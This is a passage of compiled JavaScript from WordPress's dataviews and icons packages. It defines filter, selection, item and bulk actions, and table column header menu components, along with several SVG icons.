  filterComponents.push(/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ResetFilter, {
    filters: filters,
    view: view,
    onChangeView: onChangeView
  }, "reset-filters"));
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalHStack, {
    justify: "flex-start",
    style: {
      width: 'fit-content'
    },
    className: "dataviews-filters__container",
    wrap: true,
    children: filterComponents
  });
}
/* harmony default export */ const dataviews_filters = ((0,external_wp_element_namespaceObject.memo)(Filters));

;// ./node_modules/@wordpress/icons/build-module/library/block-table.js
/**
 * WordPress dependencies
 */


const blockTable = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zM5 4.5h14c.3 0 .5.2.5.5v3.5h-15V5c0-.3.2-.5.5-.5zm8 5.5h6.5v3.5H13V10zm-1.5 3.5h-7V10h7v3.5zm-7 5.5v-4h7v4.5H5c-.3 0-.5-.2-.5-.5zm14.5.5h-6V15h6.5v4c0 .3-.2.5-.5.5z"
  })
});
/* harmony default export */ const block_table = (blockTable);

;// ./node_modules/@wordpress/icons/build-module/library/category.js
/**
 * WordPress dependencies
 */


const category = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M6 5.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM4 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2V6zm11-.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5h-3a.5.5 0 01-.5-.5V6a.5.5 0 01.5-.5zM13 6a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2h-3a2 2 0 01-2-2V6zm5 8.5h-3a.5.5 0 00-.5.5v3a.5.5 0 00.5.5h3a.5.5 0 00.5-.5v-3a.5.5 0 00-.5-.5zM15 13a2 2 0 00-2 2v3a2 2 0 002 2h3a2 2 0 002-2v-3a2 2 0 00-2-2h-3zm-9 1.5h3a.5.5 0 01.5.5v3a.5.5 0 01-.5.5H6a.5.5 0 01-.5-.5v-3a.5.5 0 01.5-.5zM4 15a2 2 0 012-2h3a2 2 0 012 2v3a2 2 0 01-2 2H6a2 2 0 01-2-2v-3z",
    fillRule: "evenodd",
    clipRule: "evenodd"
  })
});
/* harmony default export */ const library_category = (category);

;// ./node_modules/@wordpress/icons/build-module/library/format-list-bullets-rtl.js
/**
 * WordPress dependencies
 */


const formatListBulletsRTL = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M4 8.8h8.9V7.2H4v1.6zm0 7h8.9v-1.5H4v1.5zM18 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-3c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2z"
  })
});
/* harmony default export */ const format_list_bullets_rtl = (formatListBulletsRTL);

;// ./node_modules/@wordpress/icons/build-module/library/format-list-bullets.js
/**
 * WordPress dependencies
 */


const formatListBullets = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M11.1 15.8H20v-1.5h-8.9v1.5zm0-8.6v1.5H20V7.2h-8.9zM6 13c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2zm0-7c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z"
  })
});
/* harmony default export */ const format_list_bullets = (formatListBullets);

;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-selection-checkbox/index.js
/**
 * WordPress dependencies
 */



/**
 * Internal dependencies
 */

function DataViewsSelectionCheckbox({
  selection,
  onChangeSelection,
  item,
  getItemId,
  titleField,
  disabled
}) {
  const id = getItemId(item);
  const checked = !disabled && selection.includes(id);

  // Fallback label to ensure accessibility
  const selectionLabel = titleField?.getValue?.({
    item
  }) || (0,external_wp_i18n_namespaceObject.__)('(no title)');
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
    className: "dataviews-selection-checkbox",
    __nextHasNoMarginBottom: true,
    "aria-label": selectionLabel,
    "aria-disabled": disabled,
    checked: checked,
    onChange: () => {
      if (disabled) {
        return;
      }
      onChangeSelection(selection.includes(id) ? selection.filter(itemId => id !== itemId) : [...selection, id]);
    }
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-item-actions/index.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */


const {
  Menu: dataviews_item_actions_Menu,
  kebabCase: dataviews_item_actions_kebabCase
} = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
function ButtonTrigger({
  action,
  onClick,
  items
}) {
  const label = typeof action.label === 'string' ? action.label : action.label(items);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    label: label,
    icon: action.icon,
    disabled: !!action.disabled,
    accessibleWhenDisabled: true,
    isDestructive: action.isDestructive,
    size: "compact",
    onClick: onClick
  });
}
function MenuItemTrigger({
  action,
  onClick,
  items
}) {
  const label = typeof action.label === 'string' ? action.label : action.label(items);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.Item, {
    disabled: action.disabled,
    onClick: onClick,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.ItemLabel, {
      children: label
    })
  });
}
function ActionModal({
  action,
  items,
  closeModal
}) {
  const label = typeof action.label === 'string' ? action.label : action.label(items);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Modal, {
    title: action.modalHeader || label,
    __experimentalHideHeader: !!action.hideModalHeader,
    onRequestClose: closeModal,
    focusOnMount: "firstContentElement",
    size: "medium",
    overlayClassName: `dataviews-action-modal dataviews-action-modal__${dataviews_item_actions_kebabCase(action.id)}`,
    children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(action.RenderModal, {
      items: items,
      closeModal: closeModal
    })
  });
}
function ActionsMenuGroup({
  actions,
  item,
  registry,
  setActiveModalAction
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.Group, {
    children: actions.map(action => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(MenuItemTrigger, {
      action: action,
      onClick: () => {
        if ('RenderModal' in action) {
          setActiveModalAction(action);
          return;
        }
        action.callback([item], {
          registry
        });
      },
      items: [item]
    }, action.id))
  });
}
function ItemActions({
  item,
  actions,
  isCompact
}) {
  const registry = (0,external_wp_data_namespaceObject.useRegistry)();
  const {
    primaryActions,
    eligibleActions
  } = (0,external_wp_element_namespaceObject.useMemo)(() => {
    // If an action is eligible for all items, doesn't need
    // to provide the `isEligible` function.
    const _eligibleActions = actions.filter(action => !action.isEligible || action.isEligible(item));
    const _primaryActions = _eligibleActions.filter(action => action.isPrimary && !!action.icon);
    return {
      primaryActions: _primaryActions,
      eligibleActions: _eligibleActions
    };
  }, [actions, item]);
  if (isCompact) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CompactItemActions, {
      item: item,
      actions: eligibleActions,
      isSmall: true,
      registry: registry
    });
  }

  // If all actions are primary, there is no need to render the dropdown.
  if (primaryActions.length === eligibleActions.length) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrimaryActions, {
      item: item,
      actions: primaryActions,
      registry: registry
    });
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    spacing: 1,
    justify: "flex-end",
    className: "dataviews-item-actions",
    style: {
      flexShrink: '0',
      width: 'auto'
    },
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrimaryActions, {
      item: item,
      actions: primaryActions,
      registry: registry
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(CompactItemActions, {
      item: item,
      actions: eligibleActions,
      registry: registry
    })]
  });
}
function CompactItemActions({
  item,
  actions,
  isSmall,
  registry
}) {
  const [activeModalAction, setActiveModalAction] = (0,external_wp_element_namespaceObject.useState)(null);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(dataviews_item_actions_Menu, {
      placement: "bottom-end",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.TriggerButton, {
        render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          size: isSmall ? 'small' : 'compact',
          icon: more_vertical,
          label: (0,external_wp_i18n_namespaceObject.__)('Actions'),
          accessibleWhenDisabled: true,
          disabled: !actions.length,
          className: "dataviews-all-actions-button"
        })
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(dataviews_item_actions_Menu.Popover, {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionsMenuGroup, {
          actions: actions,
          item: item,
          registry: registry,
          setActiveModalAction: setActiveModalAction
        })
      })]
    }), !!activeModalAction && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionModal, {
      action: activeModalAction,
      items: [item],
      closeModal: () => setActiveModalAction(null)
    })]
  });
}
function PrimaryActions({
  item,
  actions,
  registry
}) {
  const [activeModalAction, setActiveModalAction] = (0,external_wp_element_namespaceObject.useState)(null);
  if (!Array.isArray(actions) || actions.length === 0) {
    return null;
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [actions.map(action => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ButtonTrigger, {
      action: action,
      onClick: () => {
        if ('RenderModal' in action) {
          setActiveModalAction(action);
          return;
        }
        action.callback([item], {
          registry
        });
      },
      items: [item]
    }, action.id)), !!activeModalAction && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionModal, {
      action: activeModalAction,
      items: [item],
      closeModal: () => setActiveModalAction(null)
    })]
  });
}

;// ./node_modules/@wordpress/dataviews/build-module/components/dataviews-bulk-actions/index.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */






/**
 * Internal dependencies
 */



function ActionWithModal({
  action,
  items,
  ActionTriggerComponent
}) {
  const [isModalOpen, setIsModalOpen] = (0,external_wp_element_namespaceObject.useState)(false);
  const actionTriggerProps = {
    action,
    onClick: () => {
      setIsModalOpen(true);
    },
    items
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionTriggerComponent, {
      ...actionTriggerProps
    }), isModalOpen && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionModal, {
      action: action,
      items: items,
      closeModal: () => setIsModalOpen(false)
    })]
  });
}
function useHasAPossibleBulkAction(actions, item) {
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    return actions.some(action => {
      return action.supportsBulk && (!action.isEligible || action.isEligible(item));
    });
  }, [actions, item]);
}
function useSomeItemHasAPossibleBulkAction(actions, data) {
  return (0,external_wp_element_namespaceObject.useMemo)(() => {
    return data.some(item => {
      return actions.some(action => {
        return action.supportsBulk && (!action.isEligible || action.isEligible(item));
      });
    });
  }, [actions, data]);
}
function BulkSelectionCheckbox({
  selection,
  onChangeSelection,
  data,
  actions,
  getItemId
}) {
  const selectableItems = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return data.filter(item => {
      return actions.some(action => action.supportsBulk && (!action.isEligible || action.isEligible(item)));
    });
  }, [data, actions]);
  const selectedItems = data.filter(item => selection.includes(getItemId(item)) && selectableItems.includes(item));
  const areAllSelected = selectedItems.length === selectableItems.length;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.CheckboxControl, {
    className: "dataviews-view-table-selection-checkbox",
    __nextHasNoMarginBottom: true,
    checked: areAllSelected,
    indeterminate: !areAllSelected && !!selectedItems.length,
    onChange: () => {
      if (areAllSelected) {
        onChangeSelection([]);
      } else {
        onChangeSelection(selectableItems.map(item => getItemId(item)));
      }
    },
    "aria-label": areAllSelected ? (0,external_wp_i18n_namespaceObject.__)('Deselect all') : (0,external_wp_i18n_namespaceObject.__)('Select all')
  });
}
function ActionTrigger({
  action,
  onClick,
  isBusy,
  items
}) {
  const label = typeof action.label === 'string' ? action.label : action.label(items);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
    disabled: isBusy,
    accessibleWhenDisabled: true,
    label: label,
    icon: action.icon,
    isDestructive: action.isDestructive,
    size: "compact",
    onClick: onClick,
    isBusy: isBusy,
    tooltipPosition: "top"
  });
}
const dataviews_bulk_actions_EMPTY_ARRAY = [];
function ActionButton({
  action,
  selectedItems,
  actionInProgress,
  setActionInProgress
}) {
  const registry = (0,external_wp_data_namespaceObject.useRegistry)();
  const selectedEligibleItems = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return selectedItems.filter(item => {
      return !action.isEligible || action.isEligible(item);
    });
  }, [action, selectedItems]);
  if ('RenderModal' in action) {
    return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionWithModal, {
      action: action,
      items: selectedEligibleItems,
      ActionTriggerComponent: ActionTrigger
    }, action.id);
  }
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionTrigger, {
    action: action,
    onClick: async () => {
      setActionInProgress(action.id);
      await action.callback(selectedItems, {
        registry
      });
      setActionInProgress(null);
    },
    items: selectedEligibleItems,
    isBusy: actionInProgress === action.id
  }, action.id);
}
function renderFooterContent(data, actions, getItemId, selection, actionsToShow, selectedItems, actionInProgress, setActionInProgress, onChangeSelection) {
  const message = selectedItems.length > 0 ? (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: number of items. */
  (0,external_wp_i18n_namespaceObject._n)('%d Item selected', '%d Items selected', selectedItems.length), selectedItems.length) : (0,external_wp_i18n_namespaceObject.sprintf)(/* translators: %d: number of items. */
  (0,external_wp_i18n_namespaceObject._n)('%d Item', '%d Items', data.length), data.length);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    expanded: false,
    className: "dataviews-bulk-actions-footer__container",
    spacing: 3,
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(BulkSelectionCheckbox, {
      selection: selection,
      onChangeSelection: onChangeSelection,
      data: data,
      actions: actions,
      getItemId: getItemId
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
      className: "dataviews-bulk-actions-footer__item-count",
      children: message
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
      className: "dataviews-bulk-actions-footer__action-buttons",
      expanded: false,
      spacing: 1,
      children: [actionsToShow.map(action => {
        return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(ActionButton, {
          action: action,
          selectedItems: selectedItems,
          actionInProgress: actionInProgress,
          setActionInProgress: setActionInProgress
        }, action.id);
      }), selectedItems.length > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        icon: close_small,
        showTooltip: true,
        tooltipPosition: "top",
        size: "compact",
        label: (0,external_wp_i18n_namespaceObject.__)('Cancel'),
        disabled: !!actionInProgress,
        accessibleWhenDisabled: false,
        onClick: () => {
          onChangeSelection(dataviews_bulk_actions_EMPTY_ARRAY);
        }
      })]
    })]
  });
}
function FooterContent({
  selection,
  actions,
  onChangeSelection,
  data,
  getItemId
}) {
  const [actionInProgress, setActionInProgress] = (0,external_wp_element_namespaceObject.useState)(null);
  const footerContentRef = (0,external_wp_element_namespaceObject.useRef)(null);
  const bulkActions = (0,external_wp_element_namespaceObject.useMemo)(() => actions.filter(action => action.supportsBulk), [actions]);
  const selectableItems = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return data.filter(item => {
      return bulkActions.some(action => !action.isEligible || action.isEligible(item));
    });
  }, [data, bulkActions]);
  const selectedItems = (0,external_wp_element_namespaceObject.useMemo)(() => {
    return data.filter(item => selection.includes(getItemId(item)) && selectableItems.includes(item));
  }, [selection, data, getItemId, selectableItems]);
  const actionsToShow = (0,external_wp_element_namespaceObject.useMemo)(() => actions.filter(action => {
    return action.supportsBulk && action.icon && selectedItems.some(item => !action.isEligible || action.isEligible(item));
  }), [actions, selectedItems]);
  if (!actionInProgress) {
    if (footerContentRef.current) {
      footerContentRef.current = null;
    }
    return renderFooterContent(data, actions, getItemId, selection, actionsToShow, selectedItems, actionInProgress, setActionInProgress, onChangeSelection);
  } else if (!footerContentRef.current) {
    footerContentRef.current = renderFooterContent(data, actions, getItemId, selection, actionsToShow, selectedItems, actionInProgress, setActionInProgress, onChangeSelection);
  }
  return footerContentRef.current;
}
function BulkActionsFooter() {
  const {
    data,
    selection,
    actions = dataviews_bulk_actions_EMPTY_ARRAY,
    onChangeSelection,
    getItemId
  } = (0,external_wp_element_namespaceObject.useContext)(dataviews_context);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(FooterContent, {
    selection: selection,
    onChangeSelection: onChangeSelection,
    data: data,
    actions: actions,
    getItemId: getItemId
  });
}

;// ./node_modules/@wordpress/icons/build-module/library/arrow-left.js
/**
 * WordPress dependencies
 */


const arrowLeft = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M20 11.2H6.8l3.7-3.7-1-1L3.9 12l5.6 5.5 1-1-3.7-3.7H20z"
  })
});
/* harmony default export */ const arrow_left = (arrowLeft);

;// ./node_modules/@wordpress/icons/build-module/library/arrow-right.js
/**
 * WordPress dependencies
 */


const arrowRight = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  xmlns: "http://www.w3.org/2000/svg",
  viewBox: "0 0 24 24",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "m14.5 6.5-1 1 3.7 3.7H4v1.6h13.2l-3.7 3.7 1 1 5.6-5.5z"
  })
});
/* harmony default export */ const arrow_right = (arrowRight);

;// ./node_modules/@wordpress/icons/build-module/library/unseen.js
/**
 * WordPress dependencies
 */


const unseen = /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, {
  viewBox: "0 0 24 24",
  xmlns: "http://www.w3.org/2000/svg",
  children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, {
    d: "M20.7 12.7s0-.1-.1-.2c0-.2-.2-.4-.4-.6-.3-.5-.9-1.2-1.6-1.8-.7-.6-1.5-1.3-2.6-1.8l-.6 1.4c.9.4 1.6 1 2.1 1.5.6.6 1.1 1.2 1.4 1.6.1.2.3.4.3.5v.1l.7-.3.7-.3Zm-5.2-9.3-1.8 4c-.5-.1-1.1-.2-1.7-.2-3 0-5.2 1.4-6.6 2.7-.7.7-1.2 1.3-1.6 1.8-.2.3-.3.5-.4.6 0 0 0 .1-.1.2s0 0 .7.3l.7.3V13c0-.1.2-.3.3-.5.3-.4.7-1 1.4-1.6 1.2-1.2 3-2.3 5.5-2.3H13v.3c-.4 0-.8-.1-1.1-.1-1.9 0-3.5 1.6-3.5 3.5s.6 2.3 1.6 2.9l-2 4.4.9.4 7.6-16.2-.9-.4Zm-3 12.6c1.7-.2 3-1.7 3-3.5s-.2-1.4-.6-1.9L12.4 16Z"
  })
});
/* harmony default export */ const library_unseen = (unseen);

;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/table/column-header-menu.js
/**
 * External dependencies
 */

/**
 * WordPress dependencies
 */





/**
 * Internal dependencies
 */




const {
  Menu: column_header_menu_Menu
} = lock_unlock_unlock(external_wp_components_namespaceObject.privateApis);
function WithMenuSeparators({
  children
}) {
  return external_wp_element_namespaceObject.Children.toArray(children).filter(Boolean).map((child, i) => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_element_namespaceObject.Fragment, {
    children: [i > 0 && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Separator, {}), child]
  }, i));
}
const _HeaderMenu = (0,external_wp_element_namespaceObject.forwardRef)(function HeaderMenu({
  fieldId,
  view,
  fields,
  onChangeView,
  onHide,
  setOpenedFilter,
  canMove = true
}, ref) {
  var _view$fields;
  const visibleFieldIds = (_view$fields = view.fields) !== null && _view$fields !== void 0 ? _view$fields : [];
  const index = visibleFieldIds?.indexOf(fieldId);
  const isSorted = view.sort?.field === fieldId;
  let isHidable = false;
  let isSortable = false;
  let canAddFilter = false;
  let operators = [];
  const field = fields.find(f => f.id === fieldId);
  if (!field) {
    // No combined or regular field found.
    return null;
  }
  isHidable = field.enableHiding !== false;
  isSortable = field.enableSorting !== false;
  const header = field.header;
  operators = sanitizeOperators(field);
  // Filter can be added:
  // 1. If the field is not already part of a view's filters.
  // 2. If the field meets the type and operator requirements.
  // 3. If it's not primary. If it is, it should be already visible.
  canAddFilter = !view.filters?.some(_filter => fieldId === _filter.field) && !!field.elements?.length && !!operators.length && !field.filterBy?.isPrimary;
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(column_header_menu_Menu, {
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(column_header_menu_Menu.TriggerButton, {
      render: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
        size: "compact",
        className: "dataviews-view-table-header-button",
        ref: ref,
        variant: "tertiary"
      }),
      children: [header, view.sort && isSorted && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("span", {
        "aria-hidden": "true",
        children: sortArrows[view.sort.direction]
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Popover, {
      style: {
        minWidth: '240px'
      },
      children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(WithMenuSeparators, {
        children: [isSortable && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Group, {
          children: SORTING_DIRECTIONS.map(direction => {
            const isChecked = view.sort && isSorted && view.sort.direction === direction;
            const value = `${fieldId}-${direction}`;
            return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.RadioItem, {
              // All sorting radio items share the same name, so that
              // selecting a sorting option automatically deselects the
              // previously selected one, even if it is displayed in
              // another submenu. The field and direction are passed via
              // the `value` prop.
              name: "view-table-sorting",
              value: value,
              checked: isChecked,
              onChange: () => {
                onChangeView({
                  ...view,
                  sort: {
                    field: fieldId,
                    direction
                  },
                  showLevels: false
                });
              },
              children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, {
                children: sortLabels[direction]
              })
            }, value);
          })
        }), canAddFilter && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Group, {
          children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Item, {
            prefix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
              icon: library_funnel
            }),
            onClick: () => {
              setOpenedFilter(fieldId);
              onChangeView({
                ...view,
                page: 1,
                filters: [...(view.filters || []), {
                  field: fieldId,
                  value: undefined,
                  operator: operators[0]
                }]
              });
            },
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, {
              children: (0,external_wp_i18n_namespaceObject.__)('Add filter')
            })
          })
        }), (canMove || isHidable) && field && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(column_header_menu_Menu.Group, {
          children: [canMove && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Item, {
            prefix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
              icon: arrow_left
            }),
            disabled: index < 1,
            onClick: () => {
              var _visibleFieldIds$slic;
              onChangeView({
                ...view,
                fields: [...((_visibleFieldIds$slic = visibleFieldIds.slice(0, index - 1)) !== null && _visibleFieldIds$slic !== void 0 ? _visibleFieldIds$slic : []), fieldId, visibleFieldIds[index - 1], ...visibleFieldIds.slice(index + 1)]
              });
            },
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, {
              children: (0,external_wp_i18n_namespaceObject.__)('Move left')
            })
          }), canMove && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Item, {
            prefix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
              icon: arrow_right
            }),
            disabled: index >= visibleFieldIds.length - 1,
            onClick: () => {
              var _visibleFieldIds$slic2;
              onChangeView({
                ...view,
                fields: [...((_visibleFieldIds$slic2 = visibleFieldIds.slice(0, index)) !== null && _visibleFieldIds$slic2 !== void 0 ? _visibleFieldIds$slic2 : []), visibleFieldIds[index + 1], fieldId, ...visibleFieldIds.slice(index + 2)]
              });
            },
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, {
              children: (0,external_wp_i18n_namespaceObject.__)('Move right')
            })
          }), isHidable && field && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.Item, {
            prefix: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Icon, {
              icon: library_unseen
            }),
            onClick: () => {
              onHide(field);
              onChangeView({
                ...view,
                fields: visibleFieldIds.filter(id => id !== fieldId)
              });
            },
            children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(column_header_menu_Menu.ItemLabel, {
              children: (0,external_wp_i18n_namespaceObject.__)('Hide column')
            })
          })]
        })]
      })
    })]
  });
});

// @ts-expect-error Lift the `Item` type argument through the forwardRef.
const ColumnHeaderMenu = _HeaderMenu;
/* harmony default export */ const column_header_menu = (ColumnHeaderMenu);

;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/utils/get-clickable-item-props.js
function getClickableItemProps({
  item,
  isItemClickable,
  onClickItem,
  className
}) {
  if (!isItemClickable(item) || !onClickItem) {
    return {
      className
    };
  }
  return {
    className: className ? `${className} ${className}--clickable` : undefined,
    role: 'button',
    tabIndex: 0,
    onClick: event => {
      // Prevents onChangeSelection from triggering.
      event.stopPropagation();
      onClickItem(item);
    },
    onKeyDown: event => {
      if (event.key === 'Enter' || event.key === '' || event.key === ' ') {
        // Prevents onChangeSelection from triggering.
        event.stopPropagation();
        onClickItem(item);
      }
    }
  };
}

;// ./node_modules/@wordpress/dataviews/build-module/dataviews-layouts/table/column-primary.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



function ColumnPrimary({
  item,
  level,
  titleField,
  mediaField,
  descriptionField,
  onClickItem,
  isItemClickable
}) {
  const clickableProps = getClickableItemProps({
    item,
    isItemClickable,
    onClickItem,
    className: 'dataviews-view-table__cell-content-wrapper dataviews-title-field'
  });
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, {
    spacing: 3,
